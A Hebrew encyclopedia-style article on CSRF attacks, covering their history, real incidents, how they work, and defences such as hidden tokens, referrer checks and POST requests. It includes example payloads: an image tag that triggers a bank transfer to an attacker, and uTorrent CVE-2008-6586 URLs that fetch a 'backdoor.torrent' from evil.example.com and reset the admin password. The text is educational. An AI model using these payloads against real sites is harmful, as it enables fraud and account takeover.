CSRF

CSRF (אנגלית: Cross Site Request Forgery) היא התקפה נגד גולש אינטרנט המאלצת את דפדפן האינטרנט של הגולש לבצע פעולות לא רצוניות ביישומי אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.

בהתקפה זו התוקף, על ידי הרצת קוד בצורה סמויה, מבצע פעולות שונות בשם הקורבן, כגון: לגרום למשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקורבן מודע לביצוע פעולות אלה.

התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת ה-IP של המשתמש בשירות[1].

  • בשנת 2006 התגלו באתר נטפליקס, המספק שירותי וידאו והשכרת סרטים, פגיעות אשר אפשרה לתוקפים לבצע פעולות שונות בחשבונם של המשתמשים כגון: שינוי פרטי כניסה, שינוי כתובת ואף גם לשכור סרטים חדשים והוספתם אל חשבון המשתמש[2].
  • פגיעויות באתר הבנק האינטרנטי ING Direct, אפשרו העברות כספים לא חוקיות[3].
  • בשנת 2008 התגלתה פגיעות באתר YouTube המאפשרת לתוקף לשלוט באופן כמעט מלא בחשבון המשתמש של הקורבן[3].
  • לקוחות בנק מקסיקני התריעו על קבלת מייל עם תמונה, לחיצה עליה שולחת פקודה אל הנתב הביתי של הקורבן ומחליפה בשמם את רשומות ה-DNS של הבנק. בכל פעם שהיו מנסים לגשת לאתר של הבנק, היו הקורבנות מגיעים אל אתר זדוני ומתחזה.
  • פגיעות באתר של חברת האנטי וירוס, McAfee, אפשרה לתוקפים לשנות את מערכות החברה[4].

ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול השרת, התוקף יוכל לבצע את פעולתו.

לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקורבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:

"היי אליס! שמי בוב, ואני רוצה להציע לך ביטוח רכב ל-3 חודשים ללא עלות. לפרטים נוספים, לחצי על התמונה":

<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=attacker"> 

אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.

דוגמה נוספת:

פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:

הורדת קובץ ללא הסכמת המשתמש:

http://localhost:8080/gui/?action=add-url&amp;s=http://evil.example.com/backdoor.torrent 

שינוי סיסמאת האדמין של uTorrent - יוטורנט:

http://localhost:8080/gui/?action=setsetting&amp;s=webui.password&amp;v=eviladmin 

ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:

[Img]http://localhost:8080/gui/?Action=add-url&amp;shttp://evil.example.com/backdoor.torrent[/img] 

במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום. תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.

התכונות הבאות מאפיינות התקפת CSRF:

  • ההתקפה עשויה לחול על אתרים המסתמכים על זהות המשתמש.
  • ההתקפה מנצלת שירותי האמון של האפליקציה.
  • ההתקפה מרמה את דפדפן האינטרנט וגורמת לו לשלוח בקשת HTTP לא רצויה לאתר היעד.
  • ההתקפה מכוונת את דפדפני האינטרנט לבצע פעולות מאומתות על ידי עוגיות מבלי ידיעתם של המשתמשים וללא אישורם.

כדי שהתקפה זו תצליח יש לשים לב למספר דברים:

  1. על התוקף למקד את ההתקפה על אתר שאינו בודק את הכותרת המפנה (referrer header), דפדפן או תוסף ולמצוא אתר המאפשר זיופים של הפניות.
  2. על התוקף למצוא אתר שבו מוגשות בקשות (טפסים) מצד הלקוח (העברות כספים, שינוי כתובת דוא"ל או סיסמה של הקורבן ועוד).
  3. התוקף חייב להכניס ערכים נכונים בכל הטפסים המוזנים באתר. במקרה שאחד מהתאים ידרוש מהקורבן למלא פרטים שהתוקף לא יכול לנחש, כגון: קוד אימות סודי או תעודת זהות, סביר להניח שהתקפה זו תיכשל.
  4. התוקף צריך לפתות את הקורבן להיכנס אל דף האינטרנט הזדוני בזמן שהקורבן עדיין מחובר לאתר אליו מכוונת התקיפה.
  5. זוהי התקפה עיוורת. משמעות הדבר שהתוקף אינו יכול לראות מה אתר היעד שולח בחזרה לקורבן כתגובה לבקשות המזויפות, אלא אם כן מוצאים ומנצלים באגים באתר היעד.

בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קורבנות.

הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.

התקפה מוצלחת דורשת מילוי שני תנאים:

  1. המשתמש חייב להיות מחובר לאתר.
    • פתרון יעיל לבעיה זו הוא לבצע התנתקות מהאתר שבו בוצעה הפעולה מיד לאחר סיומה ולא לאפשר לדפדפן האינטרנט לשמור את ססמת האפליקציה.
  2. דפדפן הקורבן חייב לשלוח לאתר היעד בקשה לביצוע פעולה לא רצויה.
    • פתרון יעיל לבעיה זו יהיה הימנעות מלחיצה על קישורים או תמונות בתכתובות דואר אלקטרוני, ולהימנע מביקור באתרים לא-מוכרים והזנת פרטים אישיים.


ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF:

  1. הגבלת זמן השהייה בחשבון - פקיעת תוקף לאחר זמן מסוים בו לא בוצעה שום פעולה.
  2. יש לבקש אישור מהמשתמש בעבור כל פעולה חשובה המתבצעת באתר.
  3. בעבור כל שליחת טופס ניתן להוסיף שדה נסתר המכיל מספר פסאודו-אקראי אשר יוגש עם הבקשה לביצוע פעולה, ואם הערך לא יוצג בטופס, השרת יתעלם מהפעולה.
  4. אימות הכותרת המפנה (referrer header), אשר מבטיח כי הערך זמין רק עבור סקריפטים מהדף המקורי.
  5. ביצוע פעולה חשודה ישלח הודעת SMS ישירות אל המשתמש מיד לאחר ניסיון הביצוע.
  6. שליחת בקשות בשיטת POST ולא באמצעות GET.

הערות שוליים

[עריכת קוד מקור | עריכה]
  1. ^ Ivan Ristic, Apache security, Beijing ; Sebastopol, CA : O'Reilly Media, 2005, ISBN 978-0-596-00724-9
  2. ^ S. C. Staff, Netflix fixes cross-site request forgery hole, SC Media, ‏2006-10-18
  3. ^ 1 2 Cross-Site Request Forgeries: Exploitation and Prevention
  4. ^ CSRF: Yeah, it still works…